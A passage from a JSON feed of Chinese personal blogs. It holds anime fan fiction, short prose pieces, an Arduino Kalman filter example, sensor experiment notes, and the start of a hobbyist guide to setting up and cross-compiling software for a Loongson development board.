003c/p\u003e\n\n\n\n\u003cp\u003e“那头大笨驴现在应该去山上打猎了呗。”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝欣慰地笑了笑。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯看着赫萝,心里也在憋着笑。\u003c/p\u003e\n\n\n\n\u003cp\u003e他身边这只贤狼不也是一样么,自己不去捕猎,每天朝他讨要食物。要是跟她说这些,她说不定会这么反驳。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝也是咱打来的猎物啊。”\u003c/p\u003e\n\n\n\n\u003cp\u003e已经能想象出她的表情了。这么看,是谁驯化了谁,还不一定呢。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯也因此抱紧了怀里的赫萝。而赫萝则不怀好意地看着越来越近的阿蒂夫的景色。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这几天咱可是好好地坚持下来了哦,汝啊,要信守承诺,咱要吃小麦面包,喝精酿的啤酒,再配上汝说的东方菜…”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝的尾巴摇的啪啪作响。\u003c/p\u003e\n\n\n\n\u003cp\u003e“遵命,我的公主大人。”\u003c/p\u003e\n\n\n\n\u003cp\u003e谁叫我是你的猎物呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e身后的雪山越来越远。\u003c/p\u003e\n\n\n\n\u003cp\u003e马车疾驰着,行走在阳光下,拥抱着阿蒂夫的秋天。\u003c/p\u003e\n\n\n\n\u003cp\u003e狼与驯化的野性,完。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"768\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1024x768.jpg\" class=\"wp-image-237\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1024x768.jpg 1024w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-300x225.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-768x576.jpg 768w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1536x1153.jpg 1536w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-2048x1537.jpg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" /\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"768\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1133-1024x768.jpg\" class=\"wp-image-238\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1133-1024x768.jpg 1024w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-300x225.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-768x576.jpg 768w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-1536x1152.jpg 1536w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-2048x1536.jpg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" /\u003e\u003c/figure\u003e\n","url":"https://raay.xyz/239"},{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"仰头望天,这又是何等的痛苦\u003chr /\u003e\n\u003cp\u003e那是一片湛蓝色的天空,绚丽而光洁。\u003c/p\u003e\n\n\n\n\u003cp\u003e那也是已经凝视了不知多少次的,属于夏天的天空。\u003c/p\u003e\n\n\n\n\u003cp\u003e如果说,仰头望向这片天空,是为了让泪水不再流出来。\u003c/p\u003e\n\n\n\n\u003cp\u003e那仰头望向这天空,也变成了内心对于这沉重的事实已然发生的抵抗。\u003c/p\u003e\n\n\n\n\u003cp\u003e内心拒绝着残酷的现实,并不肯定。这便是最大的残酷。\u003c/p\u003e\n\n\n\n\u003cp\u003e仰头望天,这又是何等的痛苦。\u003c/p\u003e\n","url":"https://raay.xyz/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"连遗忘本身都忘记,那才是真正的束手无策。\u003chr /\u003e\n\u003cp\u003e“今天的天气,知道吗?”\u003cbr /\u003e“嗯?”\u003cbr /\u003e“明天的天气,知道吗?”\u003cbr /\u003e………\u003cbr /\u003e她像是明白了什么,稍微改变了一下问法。\u003cbr /\u003e“今天的天气,知道的?”\u003cbr /\u003e“是。”\u003cbr /\u003e“明天的天气,知道的?”\u003cbr /\u003e“是……”\u003cbr /\u003e渐渐地,那美丽的双目里的诧异变成了惊恐。\u003cbr /\u003e曾经不相信的预知的未来的重担,藉由孩子的话,真真正正地压到了她的肩膀上,有点让人喘不过气。\u003cbr /\u003e图画书上的内容变成了现实,那是预告,不是巧合。\u003cbr /\u003e只有二人才明白,连遗忘的本身也一起遗忘,那才是所谓真正的束手无策。\u003cbr /\u003e\u003c/p\u003e\n","url":"https://raay.xyz/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"然而Kalman滤波器不是滤波器(\u003chr /\u003e\n\u003cp\u003eKalman滤波器是阿波罗登月时候研制的一种滤波算法,准确来说并不叫滤波器,而是一种最优估计器。特别适用于传感器降噪,不需要额外的电路。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"983\" height=\"582\" src=\"https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9.png\" alt=\"\" class=\"wp-image-219\" srcset=\"https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9.png 983w, https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9-300x178.png 300w, https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9-768x455.png 768w\" sizes=\"(max-width: 983px) 100vw, 983px\" /\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e滤波效果(采样每100ms)\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e绿色线为原始数据,紫色线为滤波后数据。甚至能一定程度上缓解饱和失真的现象。\u003c/p\u003e\n\n\n\n\u003cp\u003e在Arduino上引入\u003c/p\u003e\n\n\n\n\u003cdiv class=\"wp-block-argon-github github-info-card card shadow-sm github-info-card-full\" data-author=\"denyssene\" data-project=\"SimpleKalmanFilter\"\u003e\u003cdiv class=\"github-info-card-header\"\u003e\u003ca href=\"https://github.com/\" target=\"_blank\" title=\"Github\" rel=\"noopener\"\u003e\u003cspan\u003e\u003ci class=\"fa fa-github\"\u003e\u003c/i\u003e GitHub\u003c/span\u003e\u003c/a\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-body\"\u003e\u003cdiv class=\"github-info-card-name-a\"\u003e\u003ca href=\"https://github.com/denyssene/SimpleKalmanFilter\" target=\"_blank\" rel=\"noopener\"\u003e\u003cspan class=\"github-info-card-name\"\u003edenyssene/SimpleKalmanFilter\u003c/span\u003e\u003c/a\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-description\"\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-bottom\"\u003e\u003cspan class=\"github-info-card-meta github-info-card-meta-stars\"\u003e\u003ci class=\"fa fa-star\"\u003e\u003c/i\u003e \u003cspan class=\"github-info-card-stars\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"github-info-card-meta github-info-card-meta-forks\"\u003e\u003ci class=\"fa fa-code-fork\"\u003e\u003c/i\u003e \u003cspan class=\"github-info-card-forks\"\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\n\n\n\n\u003cp\u003e示例:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e#include \u0026amp;lt;SimpleKalmanFilter.h\u0026amp;gt;\n\n/*\n This sample code demonstrates how to use the SimpleKalmanFilter object. \n Use a potentiometer in Analog input A0 as a source for the reference real value.\n Some random noise will be generated over this value and used as a measured value.\n The estimated value obtained from SimpleKalmanFilter should match the real\n reference value.\n\n SimpleKalmanFilter(e_mea, e_est, q);\n e_mea: Measurement Uncertainty \n e_est: Estimation Uncertainty \n q: Process Noise\n */\nSimpleKalmanFilter simpleKalmanFilter(2, 2, 0.01);\n\n// Serial output refresh time\nconst long SERIAL_REFRESH_TIME = 100;\nlong refresh_time;\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n\n // read a reference value from A0 and map it from 0 to 100\n float real_value = analogRead(A0)/1024.0 * 100.0;\n \n // add a noise to the reference value and use as the measured value\n float measured_value = real_value + random(-100,100)/100.0;\n\n // calculate the estimated value with Kalman Filter\n float estimated_value = simpleKalmanFilter.updateEstimate(measured_value);\n\n // send to Serial output every 100ms\n // use the Serial Ploter for a good visualization\n if (millis() \u0026amp;gt; refresh_time) {\n Serial.print(real_value,4);\n Serial.print(\",\");\n Serial.print(measured_value,4);\n Serial.print(\",\");\n Serial.print(estimated_value,4);\n Serial.println();\n \n refresh_time = millis() + SERIAL_REFRESH_TIME;\n }\n\n}\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e关于此算法:\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/64539108\"\u003ehttps://zhuanlan.zhihu.com/p/64539108\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"算是自己做的一些微小的工作\u003chr /\u003e\n\u003cp\u003e算是自己做的一点微小的工作吧(\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-video\"\u003e\u003cvideo controls src=\"https://raay.xyz/wp-content/uploads/2023/07/img_1949.mp4\"\u003e\u003c/video\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e摩擦电传感器\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e将传感器的两端连接到Aduino Power端的GND和Analog in的A0端,获得输入信号。\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e注1:这里没有接电荷放大模块(不知道怎么用?或者说接上之后不能获得正确的输出)\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e注2:模拟输入端的最大信号幅值只有5V\u003c/strong\u003e,\u003cstrong\u003e老师给的材料性能非常好,轻微的碰撞或者压力就能产生巨大的电压\u003c/strong\u003e。\u003c/p\u003e\n\n\n\n\u003cp\u003e在Arduino IDE上编写程序获得A0端口的模拟输入,测量0-5V的信号变化。程序实时采样,未做延迟。\u003c/p\u003e\n\n\n\n\u003cp\u003e从视频里能看出,在信号的顶端产生了方波(饱和失真),说明元件的静态工作点设置有问题。\u003c/p\u003e\n\n\n\n\u003cp\u003e在不做运动的时候,信号噪声大。\u003c/p\u003e\n\n\n\n\u003cp\u003eTODO List\u003c/p\u003e\n\n\n\n\u003cul\u003e\n\u003cli\u003e设计滤波器,滤去噪声(考虑带通滤波器,先设计线性的)\u003c/li\u003e\n\n\n\n\u003cli\u003e串接可调电阻,将静态工作点设置在合理范围。\u003c/li\u003e\n\n\n\n\u003cli\u003e绘图程序坐标固定,删除动态变化。\u003c/li\u003e\n\n\n\n\u003cli\u003e通信模块链接,数据传输\u003c/li\u003e\n\n\n\n\u003cli\u003e手机APP\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003chr /\u003e\n\u003cp\u003e尽管已经两年没有来过,莎优却还是记得这条吉田上下班的必经之路。\u003c/p\u003e\n\n\n\n\u003cp\u003e两年前,每当做好饭的时候,莎优就会站在窗前,等着路灯下某个身影的出现。\u003c/p\u003e\n\n\n\n\u003cp\u003e每当这个身影出现的时候,她就会觉得很安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e现在,他就在自己的身边。\u003c/p\u003e\n\n\n\n\u003cp\u003e陪着下班的吉田一起回家这件事,尽管之前也想做过,但是却被当成不辞而别害得吉田到处找,让吉田很担心。\u003c/p\u003e\n\n\n\n\u003cp\u003e想到这里,莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003c/p\u003e\n\n\n\n\u003cp\u003e不自觉地,她挽起了吉田的胳膊,夹得紧紧的,像是怕他溜走一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e“怎么了?怎么突然……”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田有些不好意思,自己的胳膊已经能感受到莎优的体温,以及她柔软而富有弹性的身体的一部分。\u003c/p\u003e\n\n\n\n\u003cp\u003e“没什么,只是觉得,这是第一次陪着吉田先生下班回家呢……”\u003c/p\u003e\n\n\n\n\u003cp\u003e说着说着,莎优看到了吉田脸上的胡须。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你还说你不是大叔,嘿嘿,胡子都这么长了,该剃须了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田也忘了上次剃须是在一个月前还是半个月前了。\u003c/p\u003e\n\n\n\n\u003cp\u003e总之他剃胡须最频繁的一段时间就是莎优还在的时候,为了不被说成大叔,他坚持着每天都刮掉自己的胡须。莎优走了之后,他又变成了老样子。\u003c/p\u003e\n\n\n\n\u003cp\u003e看来自己又要变回那个“年轻”的自己了。\u003c/p\u003e\n\n\n\n\u003cp\u003e想着想着,就来到了熟悉的地方。\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田打开房门。\u003c/p\u003e\n\n\n\n\u003cp\u003e“因为自己一个人住……”\u003c/p\u003e\n\n\n\n\u003cp\u003e他刚想说,因为自己一个人住,所以会比较乱。\u003c/p\u003e\n\n\n\n\u003cp\u003e换做是以前的他,实际情况还真的是这样。\u003c/p\u003e\n\n\n\n\u003cp\u003e但是,莎优走了以后他自己也开始学着做家务了。\u003c/p\u003e\n\n\n\n\u003cp\u003e他自己也不知道是为什么自己会突然开始做起家务。\u003c/p\u003e\n\n\n\n\u003cp\u003e或许,他是在家务劳动里寻找莎优的影子吧。\u003c/p\u003e\n\n\n\n\u003cp\u003e“因为自己一个人住,所以会比较喜欢收拾……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“跟我第一次来的时候很不一样嘛,吉田……没想到你会自己做家务了……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“其实不是之前不会做……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那是因为?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“尽管现在是我在自己做家务没错,但是我的休息时间也因为做家务变少了……换做是以前的我,说不定早就坚持不下来了……但是你来了之后,可能是我习惯了住干净整洁的房间了吧,就开始每天自己整理了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e就连吉田自己也没注意到,房间的摆布,跟两年前莎优走的时候一模一样,甚至摆在地上的床垫还在那里放着。\u003c/p\u003e\n\n\n\n\u003cp\u003e“对了,你的床单和被褥我也有帮你清洗啊……定期的。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“两年了,吉田先生变了好多……也有好多没变的地方。”\u003c/p\u003e\n\n\n\n\u003cp\u003e看向刚刚脱下鞋子就在卫生间里剃须的吉田先生,少女脸上露出来欣慰的笑容。\u003c/p\u003e\n\n\n\n\u003cp\u003e“不过,既然我又回来了的话,相信家里会更干净吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e这次,吉田还没有要求自己做家务,莎优就已经承包了所有的家务。\u003c/p\u003e\n\n\n\n\u003cp\u003e以及……\u003c/p\u003e\n\n\n\n\u003cp\u003e“话说回来,吉田,今晚还没吃饭吧,想吃些什么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优的目光停留在桌子上的那本自己为吉田编写的食谱。\u003c/p\u003e\n\n\n\n\u003cp\u003e两年过去了,它还是那么崭新。好像是在等着自己回来一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e“那就味噌汤吧……”\u003c/p\u003e\n\n\n\n\u003cp\u003e其实吉田先生的心里,还有另外一句话,两年以来,他按照莎优的食谱做了很多次味噌汤,都不好喝。\u003c/p\u003e\n\n\n\n\u003cp\u003e“毕竟,你这家伙做的味噌汤,是真的很好喝呢。”\u003c/p\u003e\n\n\n\n\u003cp\u003e随后,厨房里响起了叮叮当当的声音。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优打开冰箱,发现食材是齐全的。\u003c/p\u003e\n\n\n\n\u003cp\u003e也就意味着大叔他平常真的是照着自己的菜谱做饭的。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优感受到了一种得意和安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e无数次,她在梦里回想起吉田先生尝到自己做的饭时的笑容。\u003c/p\u003e\n\n\n\n\u003cp\u003e醒来之后,却只有一张空荡荡的大床。\u003c/p\u003e\n\n\n\n\u003cp\u003e以及天气日报提醒自己在北海道。\u003c/p\u003e\n\n\n\n\u003cp\u003e“呲溜……”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田深深地抿了一口。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汤好喝吗,吉田?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“还是老味道。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“欸?”\u003c/p\u003e\n\n\n\n\u003cp\u003e少女稍微有些讶异。\u003c/p\u003e\n\n\n\n\u003cp\u003e“亏我还好好地改进了……”\u003c/p\u003e\n\n\n\n\u003cp\u003e“不,不是这样的,我是说很好喝,咳咳……”\u003c/p\u003e\n\n\n\n\u003cp\u003e忙着解释的吉田呛了一口汤。\u003c/p\u003e\n\n\n\n\u003cp\u003e少女赶忙起来,到了吉田的身后,用手轻轻地拍打着他的后背。\u003c/p\u003e\n\n\n\n\u003cp\u003e对吉田来说,可能是他很久没喝过莎优做的味噌汤了,又或者是味噌汤太好喝了,改进的空间不大,他才会尝不出来区别。但是对于遗忘这件事,吉田不愿意承认这一点。\u003c/p\u003e\n\n\n\n\u003cp\u003e“或许是太久没喝你做的汤了……话说回来,你做的汤是真的很好喝,也许是好喝到了没有改进空间了呢。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田把喝得空空的碗放在桌子上,突然,他感觉自己的后背一热,肩膀一沉,一股柑橘味的香气从脑后传过来。\u003c/p\u003e\n\n\n\n\u003cp\u003e莎优从后背抱住了吉田,脸颊紧紧地贴住了吉田的脸颊,甚至故意蹭了两下。\u003c/p\u003e\n\n\n\n\u003cp\u003e“大叔,如果你愿意,之后每天都能喝到哦。”\u003c/p\u003e\n\n\n\n\u003cp\u003e吉田虽然有些害羞,但是这个抱抱却让他感到十分的安心。\u003c/p\u003e\n\n\n\n\u003cp\u003e对吉田来说的,这是区别梦境与现实的方式之一。\u003c/p\u003e\n\n\n\n\u003cp\u003e无数次在梦里被她拥抱,醒来却只剩下冰凉。\u003c/p\u003e\n\n\n\n\u003cp\u003e独身一人看向那张空空的床垫。\u003c/p\u003e\n\n\n\n\u003cp\u003e他等着她回来。\u003c/p\u003e\n\n\n\n\u003cp\u003e她回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/99"}]},{"name":"神社的储物间","email":"","uri":"https://mxts.jiujiuer.xyz/","description":"*节操消失了*","article":[{"title":"龙芯久久派Plus折腾笔记","time":"2024-09-12T07:41:18Z","content":"(*/ω\*)\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e感谢尚宇学长送的开发板,希望龙芯以后发展越来越好\u0026lt;(\u0026#x3D;w\u0026#x3D;)\u0026gt;\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这回折腾用到的主要有:\u003c/p\u003e\u003cul\u003e\u003cli\u003e本体:2k0300 久久派_Plus_V1.0\u003c/li\u003e\u003cli\u003e开发设备:Linux环境笔记本电脑\u003c/li\u003e\u003cli\u003e串口转接器:用一个老51开发板糊弄过去了(\u003c/li\u003e\u003cli\u003e路由器:提供稳定网络连接和局域网\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"开箱\"\u003e\u003ca href=\"#开箱\" class=\"headerlink\" title=\"开箱\"\u003e\u003c/a\u003e开箱\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912154924.png\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912155406.png\"\u003e\u003c/p\u003e\u003cp\u003e尊贵的总裁签名版(虽然看不太清)↑\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912154938.png\"\u003e\u003c/p\u003e\u003cp\u003e接口丰富度没得说,两个RJ45,两个USB2.0,一个3.5mm音频接口,UART,ADC,JTAG和Type-C供电,还有个MicroSD卡插槽。\u003c/p\u003e\u003cp\u003e这规格,只要三位数出头的价格,\u003cdel\u003e它就是炸了我都夸它炸得好听\u003c/del\u003e。稳定性跟功耗也没得说,ABI2.0的龙架构让它能拥有开源社区的支持,基本所有开源软件都可以通过交叉编译在这个板子上使用,未来可期属于是。\u003c/p\u003e\u003ch2 id=\"上电\"\u003e\u003ca href=\"#上电\" class=\"headerlink\" title=\"上电\"\u003e\u003c/a\u003e上电\u003c/h2\u003e\u003cp\u003e手头刚好没USB转串口,想到个幽默办法。掏出以前的51单片机开发板HC6800MS,给ST89C52RC薅下来,TX,RX,GND分别接到开发板的RXD0,TXD0,GND上:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912161052.png\"\u003e\u003c/p\u003e\u003cp\u003e然后给那个老板子插电脑上:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912160313.png\"\u003e\u003c/p\u003e\u003cp\u003e诶,这不就有了吗。\u003c/p\u003e\u003cp\u003e现在就能用\u003ccode\u003escreen\u003c/code\u003e从串口连接上开发板了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo screen /dev/ttyUSB0 115200\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240912161227.png\"\u003e\u003c/p\u003e\u003cp\u003e板子上电之后会默认启动WiFi热点,配置文件如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#/etc/hostapd.conf\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einterface=wlan0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edriver=nl80211 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003essid=LoongsonWIFI \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehw_mode=g \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003echannel=6 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emacaddr_acl=0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eauth_algs=1 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eignore_broadcast_ssid=0 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa=2 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_passphrase=loongson123456 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_key_mgmt=WPA-PSK \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewpa_pairwise=TKIP \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ersn_pairwise=CCMP\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e虽然可以连上WiFi,但是它的\u003ccode\u003esshd\u003c/code\u003e进程好像是默认不开启的。\u003c/p\u003e\u003cp\u003e哦它没有openssh啊。\u003c/p\u003e\u003ch2 id=\"交叉编译\"\u003e\u003ca href=\"#交叉编译\" class=\"headerlink\" title=\"交叉编译\"\u003e\u003c/a\u003e交叉编译\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://wszqkzqk.github.io/2024/08/08/devtools-loong64/\"\u003e在x86设备上跨架构构建龙芯的Arch Linux软件包 - 星外之神的博客 | wszqkzqk Blog\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/Pacman/%E6%8F%90%E7%A4%BA%E5%92%8C%E6%8A%80%E5%B7%A7#%E4%BB%8E_CD/DVD_%E6%88%96_U_%E7%9B%98%E5%AE%89%E8%A3%85%E8%BD%AF%E4%BB%B6%E5%8C%85\"\u003epacman\u0026#x2F;提示和技巧 - Arch Linux 中文维基\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/%E7%A6%BB%E7%BA%BF%E5%AE%89%E8%A3%85\"\u003e离线安装 - Arch Linux 中文维基\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.archlinuxcn.org/wiki/%E4%BB%8E%E7%8E%B0%E6%9C%89_Linux_%E5%8F%91%E8%A1%8C%E7%89%88%E5%AE%89%E8%A3%85_Arch_Linux#%E5%9C%A8%E5%AE%BF%E4%B8%BB%E7%B3%BB%E7%BB%9F%E4%B8%8A%E8%BF%90%E8%A1%8C_pacman\"\u003e从现有 Linux 发行版安装 Arch Linux - Arch Linux 中文维基\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e参数,来自xdosc的佬@chi\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eCFLAGS=\u003cspan class=\"string\"\u003e\u0026#x27;--with-arch=loongarch64 --with-tune=la464 --with-abi=lp64d --with-simd=none --disable-threads\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"OpenSSH\"\u003e\u003ca href=\"#OpenSSH\" class=\"headerlink\" title=\"OpenSSH\"\u003e\u003c/a\u003eOpenSSH\u003c/h3\u003e\u003cp\u003e准备目录.\u0026#x2F;openssh并进入,下载源码:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e1.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget http://www.zlib.net/zlib-1.3.1.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget https://github.com/openssl/openssl/releases/download/openssl-3.3. \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2/openssl-3.3.2.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan 